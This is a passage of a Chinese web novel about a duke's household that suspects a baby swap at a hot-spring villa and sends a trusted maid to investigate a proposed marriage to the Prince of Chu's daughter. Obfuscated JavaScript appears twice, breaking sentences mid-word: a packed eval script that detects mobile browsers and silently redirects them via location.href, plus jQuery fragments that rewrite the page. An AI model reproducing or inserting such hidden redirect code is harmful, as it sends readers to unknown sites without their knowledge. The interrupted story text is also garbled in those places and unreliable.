徐尚书在上朝时,同朝官员纷纷拱手向他贺喜,侄子如此有出息,国公府后继有人啊。 徐尚书连连摆手应道只是凑巧,官袍里的内衬都被汗打湿了。 就连徐二娘这种居于宅中的妇人,都在夫人聚会上,听到了含酸带妒的打探。 听得她心里一阵一阵地发凉。 聚会一散,徐二娘就给学堂的山长去了信,硬生生断了次子求学之路。 从此,国公府次子再也没在都城传出过任何好名声。 但徐二娘还是很疼爱自己的儿子的,私底下和哥哥一起精心培养次子的一言一行,力保他不会长歪。 所以才有了这么个,在外为非作歹、回家乖乖吃饭的国公府小少爷。 短短几秒,徐二娘的脑海里闪过无数回忆。 抱着热茶碗的手,越捏越紧,指尖都发了白。 但这一切都在国公爷洪亮的大嗓门中瓦解: “未来亲家是楚王!哈哈哈哈哈不错吧,楚王可说了,这丫头精通诗词歌赋呢。” 国公爷嘚瑟地晃着脑袋。 “楚王?!?” 一声‘亲家是楚王’炸得徐二娘直接站了起来,脸上又惊又喜、还夹着些许不爽,表情复杂。 惊的是,楚王怎么搅和到这事里来了,他不是分封在景朝的边疆吗,早早就被挤出权力核心圈子了。 喜的是,楚王这个人选妙啊,闲散宗室,人人皆知的废物。和楚王府联姻,没有任何助力,在他人眼里就是纯属吃饱了撑的,可以说是一个极好的挡箭牌。 但不爽的也是这点。儿子虽然名声不好,但那是他们刻意制造的,又不是真的很烂。次子心地善良、又孝顺,配楚王的女儿,她觉得亏得慌。 楚王当年混账的模样还历历在目呢,这些年也没见他的女儿有什么好才学显露出来,日常两家也没曾来往,如今这番热情积极,怕是······ “夫人,你这么惊喜的吗,都站起来了。”国公爷愣了一下,摸不着头脑。 “啊,嗯,惊喜,惊喜。公爷,那封信,你回了没有?” 徐二娘敷衍着应答了两声,便问起那封结亲的来信,心里飞速盘算着下一步。 “夫人放心,已经写好了,正通知军营里小子们过来取,这信啊就走咱们的军队特快通道,不出七天,保准送到楚王手上哈哈哈哈。” 国公爷不是个滥用权力的人,他的地位足以调用八百里加急快马,但他没有。 这样太劳民伤财了,反正军里的快信,七天也挺短的,虽然没有楚王四天就到的迅速,但也不慢了。 相信楚王不会怪我的,都是以后的亲家嘛。 国公爷在心里大大咧咧地想着。 “呼——还好没有寄出去。公爷啊,我作为娘亲的,也想回一封信。你的那封就先别送,待我写完了,一起寄出去啊。” 国公爷满头雾水,这,这也没听过哪家是爹娘一起回信的啊。 奇奇怪怪的。 不过,也不是什么大事,夫人想写就写吧。让军里小子们晚点再来呗。 “公爷,这梅花开得甚好,你先赏着,我去写信了。” 说完,还不等国公爷反应过来,徐二娘就像飘着一样,飞快地闪现出了园子。 “哎,不是你让我陪你吗?哎——夫人!” 国公爷端着茶碗,一脸懵,手都沾不到夫人的一片衣角,徐二娘早就没了人影。 其实,根本没有她也想写信这一说。 徐二娘只是借此缓兵之计,先行派出人去,打听楚王二小姐的品行。 楚州乃景朝的偏远之地,和都城隔了十万八千里远,平时基本没有什么楚王的消息,更别说深居简出,常年待在院子里看书的二小姐了,那简直是音讯全无啊。 总不能,快要结亲了,连人长啥样都不知道。 “来人,通知在外面巡查别庄的薛嬷嬷,速速赶回。” 这座别庄,是个温泉庄子,冬日里小住最舒服了。位置也不远,就在都城郊外,官道旁边,方便的很。 国公府每年深冬都要去那避寒,这里也是徐二娘的心头好,就连怀孕、身子行动不便,也要去那里泡温泉。 但那温泉庄子背后连着山,草木茂盛,还种了不少常青树种,就连冬日里也是绿油油的,叶子很挡视线。 山下有条河,不宽,但水流很急,还有高高低低的落差,人掉进去,若是不及时捞上来,很快就会被冲走,转眼就没了影。 因着徐二娘大着肚子,行动不稳当,为保险起见,十年前的那个冬天,人人都劝阻她,别去温泉庄子了,身子为上。 十年前的徐二娘,还没后来这么成熟。 就跟中邪了一样,说什么都不听,非要去。 用她的话来说,大冬天里不泡泡温泉、吃吃锅子,那还有什么意思。 距离生产还要一两个月,这胎怀得她都快抑郁了。 而且,庄子就在官道旁边,还有国公爷调派过来的军队驻守,怕什么,有谁敢在这儿动手? 孕妇是老大,无论是徐尚书还是国公爷,都不敢强行把徐二娘绑住,只好随了她的心意,去温泉庄子待产。 怎么说呢,好的不灵,坏的灵。 真是一语成谶。 还真有人敢! 住进庄子没几天,徐二娘就脚滑摔了一跤,直接早产。 也不知道为什么,那地儿平时总是干燥的,甚至中午都还是干的,唯独到了下午,就湿了。 还只湿了那一小块儿。 那地儿是穿过回廊去露天温泉的必经之路,也是徐二娘最常走的路线。 庄子在郊外,离国公府有点距离,驱车快马加鞭赶过去要一个时辰。 又恰巧是在下午摔的,消息传来,等国公爷徐尚书他们急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876050|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着骑马过去时,天已经黑了。 而徐二娘,也早进了产房。 平时温泉别院附近总是空空荡荡,没有什么人烟。 但偏偏那几天,周边的其他别院,陆陆续续地都住满了人。 各个身份还都挺显眼的,皇后的亲妹妹、太子的侧妃、大皇子派来的管事、丞相刚从外面接回来的庶子等等。 还有几个位列一二品的官员带着四五品的小官跟班,借口说来体验冬钓,租了周边的一个小院子。 甚至到了晚上,连皇上都听闻了消息,把宫里医术颇高的御医派了过来。 御医到的比国公爷他们还要快。 事发突然,产房倒是布置的差不多,但国公府和徐家准备的接生稳婆还在外头,毕竟当时大家都推算还有一两个月才生。 所以,温泉庄子里瞬间乱成了一锅粥。 唯一的主子,还是已经倒下的徐二娘。 这时候,周围的邻居们异常热心,且存货十分充足。 有送稳婆过来的,有送补品的,有给丫鬟的,有派小厮的,还有亲自上门帮忙组织现场的。 明明周围没一个怀孕的,但个个准备的比怀孕的徐二娘本人还齐全。 甚至连晚上照明的烛火都有人备着。 但当时实在是太过混乱,没人想得起怀疑这些小细节了,大家的注意力只在保孕妇平安上面。 偌大一个温泉别庄,竟然无人守门,都在后厨和产房内外忙活。 庄子里进进出出的人多得数不清,具体都有谁,现在也对不上脸、记不住名字了。 只记得夫人身边的丫鬟婆子们全被指使去干活,徐二娘的大陪房,薛嬷嬷,也被忽悠着回城里寻大夫去了。 到底是谁让她找大夫,也记不清了,当时耳边就突然传来一句穿透力极强的话:“哎呀,现在御医还没来,这可怎么办啊,没有大夫,夫人怕是有危险,听说城里有大夫,谁去请请啊?” 薛嬷嬷护主心切,一听夫人有危险,就慌了神。 薛嬷嬷虽年长几岁,但十年前,在心眼子方面,还稍显青涩。 情急之下,便离开了一直守着的产房,自行下山,驾了辆车子赶往城内。 巧得很,薛嬷嬷的车刚离开郊外,皇帝派来的御医就到了温泉庄子门口。 天马上就黑了。 国公爷徐尚书已经收到了消息,正在火急火燎地赶来。 城内赶往郊外的官道就那么一条,无论来去,按理说,都应该碰面。 偏偏薛嬷嬷和国公爷他们,一点面都没见着,仿佛两条平行线一般,错开的离谱。 这么一番阴差阳错下来,徐二娘的身边,全换成了陌生的下人。 借着背后主子的势力,趁大家都慌神时,隔绝了众人的目光,把产房团团围住,在不经意间,这里成了孤岛。 天彻底黑了。 这批送来的蜡烛似乎质量不太好,即便是点亮了许多,光影之间仍然模糊不清,周围伺候的下人们,脸躲在背光处,谁是谁,完全无法辨认。 等国公爷和徐尚书终于赶到庄子时,产房里徐二娘已经发动,一声又一声痛呼,喊得人揪心。 23. 第 23 章 好在,最后平安生产。 从产房里抱出来的,是一个女儿。 “喜报喜报,国公爷、徐尚书,生了个千金。” “瞧瞧,这小脸,多像国公爷啊!” 抱着国公府千金跨出产房的,是一个从未见过的丫鬟,脸陌生得很。 但当时所有人的情绪都集中在了新出生的孩子身上。 无人关注一个小丫鬟长什么样。 至于产房里具体是什么情况、大家也下意识地忽略了。 既然都平安生产了,那肯定没什么大问题吧。 就这样,温泉庄子里喜气洋洋,欢声笑语一片。 只有徐二娘本人依稀记得,她生出的是一个女儿,哭声很洪亮,一听就知道是个身体强壮的。 她强撑着刚生产的虚弱身体,紧盯着这些陌生的丫鬟们,把孩子洗干净、包裹好后,才放松下来。 景朝习俗,孩子生下来洗干净包整齐后,就要拿出去给家里其他人看看,认认脸。 所以,徐二娘没有阻止,丫鬟们往外抱孩子的动作。 只是临出门前开口,叫她们把孩子先抱给她看一眼。 包裹孩子的襁褓是织金红锦缎做的,都城里有头有脸的高门大户都用这种布料。 锦缎上绣的花纹是特别定制的,繁复的花纹构成了一个精致的‘瑾''字。 这是徐二娘准备给孩子取的名字。 瑾的意思是美玉,君子如玉、美人温润,无论男女,这个名字都适用,而且意思还这么美好。 看着襁褓上的瑾字,环顾周围一张张陌生的人脸,徐二娘心里那层不安,始终无法消退,反而越来越深重。 但她现在虚弱至极,手上也没有可以用的人或者工具。 想了想,出于女人的直觉,也或许是母亲的本能,她掩盖在被子下的手,摸索到床里侧的帘子。 帘子用绳索系成一束一束的,绳索末端,为了装饰好看,还钩了几串玉珠子。 玉珠子上雕刻了国公府的印记。 徐二娘,悄悄地摸到了那几串珠子,用最后的力气扯了下来,假借换手抱孩子的空挡,把珠子塞进了襁褓里。 这些珠子,细小、没有存在感,且几乎无法复刻。 这座温泉庄子深得徐二娘喜爱,所以当初装修的时候,亲自设计监工,还撒娇找哥哥要来了以前打仗时无意间发现的新奇玉矿。 这种玉矿,量太少,就一个木盆大小。打磨出来,也做不成什么大摆件,思来想去,徐二娘找人把玉料刻成小珠子,串起来,做成帘子配饰挂着。 这件事是她亲自监工的,当年做这个珠子的匠人,手艺精湛但身体不好,做完这份活儿,就早早去世了。 所以这世间再无其他这样的珠子。 独一无二。 塞了珠子,徐二娘就控制不住地昏睡过去,后面的事,她再也没有任何印象。 只知道,一清醒,就有人往她面前递过来一个小婴儿,说这是你的女儿。 很漂亮、白嫩的一张小脸,和国公爷很像。 细细的胳膊缩在一起,瘦瘦的。 但不知道为什么,徐二娘就是心中不喜。 怎么都亲近不起来,看着婴儿的模样,越看越怪异,但又说不出来具体哪里不对劲。 周围的人都说这就是你的亲生女儿。 徐二娘只好接过婴儿,将信将疑地养着。 这件事,表面上看起来没有闹出丢人命的大乱子,但却是给徐二娘当头一棒。 那种被迫把全身性命交付给未知的陌生人,每一分每一秒都仿佛群狼环伺的如芒在背,唯有亲身经历过的孕妇本人才懂。 这件事,给十年前倔强固执的徐二娘,留下深深的教训和阴影。 从此,国公夫人,真正开始变成熟。 一切以稳为重,力求不被他人残害。 这才有了不让次子进学堂,散播儿子坏名声,小心翼翼提防周围的操作。 至于薛嬷嬷,因为觉得自己没照顾好主子,心里很愧疚,没有脸面再继续在内院伺候,总想将功赎罪,便把全部精力都放在经营小姐的产业上。 温泉庄子也是其中之一,当年那件事过后,这庄子就对外租凭了,国公府的人再没去住过。 租之前,倒是把里面的装饰,收了干净。 薛嬷嬷,接手产业管理后,出于弥补心理,很是勤勉,天天在外巡查。 今天就巡查到了温泉庄子上。 所以,徐二娘才派人去温泉庄子叫回薛嬷嬷。 “嬷嬷,你是我院里的老人,和我一起过来国公府的。我只信你。” “这次我儿与楚王之女结亲,我心里担忧,就拜托你前去楚州,打听打听那楚王的风评,以及那位要与我儿定亲的二姑娘是什么品行。” 薛嬷嬷跪趴在地上,老泪纵横。 小姐她,终于又重用我一回了,老奴这回定不辱使命。 薛嬷嬷心里发誓,一定要完成这项任务。 “小姐,放心,就是废了我这把老骨头,我也要给小姐打听到楚王府的情况。” “嬷嬷快请起,你的身子健康是最重要的。此去甚远,一路颠簸劳累,盘缠吃食我叫人安排好,定不叫你吃苦。” 徐二娘看不得陪伴多年的老仆这样跪着,连忙上前扶起来。 “我还支了两个武力高强的侍卫予你,带上他们,一路上护送你来回。” “谢谢小姐,这般关心我,奴婢万死不辞!” 薛嬷嬷感动的眼泪直流,立马就回去收拾衣物,出发前往楚州。 徐二娘特批,三人跟着军队送信的队伍,一起出发。 一来是安全,二来是快。 这样可以保证,信到人到。 若是二小姐风评不好,薛嬷嬷可以做主,撤回那封回信。 同时,徐二娘在哥哥徐尚书的帮助下,修改了那封信。 里面不再是直接答应结亲,而是要先看看八字,再走定亲流程。 这一切,都是瞒着国公爷的。 全力赶路的速度是很快的,几天之后,薛嬷嬷一行人,就踏进了楚州城。 是晚上到的,赶在宵禁之前。 几人便没有急着打听,先住进了东市的客栈。 东市是楚州城最大的集市,主要面向各方来楚经商的人士。因为楚州地处边疆,所以,时不时还会有西域胡人前来做买卖。 东市的商家百姓对外来人已经见怪不怪、不稀罕了。 因此东市人来人往,极其热闹,非常利于隐蔽。 从都城来的薛嬷嬷几人,进了东市,就如同一滴水汇进了大海,一点都不显眼。 楚州城不只一个集市。 分为东西南北四大集市。 东市是经商买卖,谁都可以去。西市则是高端精品古玩之类的,都是楚州的富贵人家逛的地方。南市穷苦百姓多,比较脏乱落魄。北市则在楚州城的最北端,王府附近。 风起云涌,命运的推手,在你不知道的背后,默默地交织起一切。 都城里的人南下,南边的楚王府,也不平静。 【死亡倒计时:67天】 昨夜,楚王的大管事深夜前来传话,带来楚王要求二小姐上交生辰八字的通知。 当时,谁都看的明白,二小姐脸上的不愿,但谁也无法阻止。 毕竟楚王的急不可耐,已经体现到这个地步了。 楚王府的确是个漏风的大筛子,下人没有规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876051|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矩,散漫得很,但也不至于做出,男仆三更半夜单独进入后院小姐的闺房,这种事。 但昨晚上,还真做出了,是楚王亲自下的令。 不管有没有收到回信,楚王莫名地自信,国公爷肯定会同意这门亲事的。 所以,估摸着信送到了,就打算提前准备好定亲用的六礼。 生辰八字就是纳亲过程中的第一步。 也不在乎什么男女避嫌、世俗规矩了,楚王迫不及待地抓紧每分每秒,让大管事去后院通知二小姐准备好生辰八字。 一般人,就算再期待,也不会做出这么不顾礼数的事,但楚王他偏做了。 足以看出,他有多着急。 既然都这么急了,那肯定生辰八字非给不可。 二小姐秋娘和自己贴身丫鬟叶果,两人抱头痛哭一晚上后,实在是想不出别的什么办法,只好一大早整理好仪容后,就去正院书房交了生辰八字。 离开院子前,二小姐还特意打了层粉,盖住自己憔悴的脸,免得惹楚王心烦。 不得不说,二小姐总是这么为他人着想。 楚王起得晚,此时正在大床上做美梦呢,二小姐不愿打扰王爷,便没给楚王请安,只交了生辰八字,就离开了。 回院子的路上,隔着老远,二小姐主仆俩就瞧见沈瑾拎着竹篮子,急匆匆地出府。 沈瑾这是按照惯例,出府去北市赶早集。 屋里搽脸的面脂用完了,集市上有不少物美价廉的老胭脂铺子,再加上养母每天都要吃北市的豆泡汤当早食,所以沈瑾捞了一串铜板,挎着篮子出府去了。 北市靠近楚王府,沈瑾经常去这儿晃悠,里头的商家都是楚州城最有水平的。价格高低、规模大小有差别,但质量没话说。 无论是吃的喝的,还是穿的用的,都是高水平。 比如说,沈瑾常去的王婆子炊饼店,那味道一绝,好吃的很! 沈瑾先是直奔养母指定的一家老铺子,捡了盒下等面脂,又灵活地拐了几个弯,就到了王婆子饼店门口。 这些日子,北市就是沈瑾必去的固定地图,这里有几条巷道、多少小路,都门儿清,闭着眼睛都能走。 这天天跑北市,虽然烦得很,但也有好处,那就是锻炼身体啊。 很明显,今天来北市,走了这些路,拐了好几个弯,沈瑾一点气都不喘。 压根就不累。 这可是大进步,要知道,刚穿越过来时,这具身体可是快要挂掉了啊。 这具身体,虚得很,天气一冷,就生病。 金嬷嬷也给瑾姐儿请过大夫,治不了。 大夫说这是刚出生的时候没照顾好,着了大凉,落下病根,要想彻底痊愈,得好好养着。 但哪有机会时间给瑾姐儿养身子呢? 每天那么多活儿要干。 金嬷嬷也舍不得花那大价钱买营养品给瑾姐儿。 大夫还说,得亏瑾姐儿先天底子还不错,换个先天条件差点的,就不止虚弱生病了,怕是直接见阎王。 沈瑾也是死过一回的人。 这种在生死边缘游走过的,最看重的就是健康。 不信,你去重症监护室、手术室门口看看,哪个病人脸上不写着? 所以沈瑾一穿过来,就着重饮食和运动。 努力了这些天,终于初见成效。 养回来一点啦! 也得亏这具身体先天真的强壮,要不然也不会好得这么明显。 属于是良田干旱,遇水则发。 感受了一下健康轻盈的身体,沈瑾雀跃地走进了王婆子炊饼店。 “王婆婆,给我捡两个饼子。一个瘦肉的,微辣,一个五花带点肥肉的,不要辣,捡酱香的。”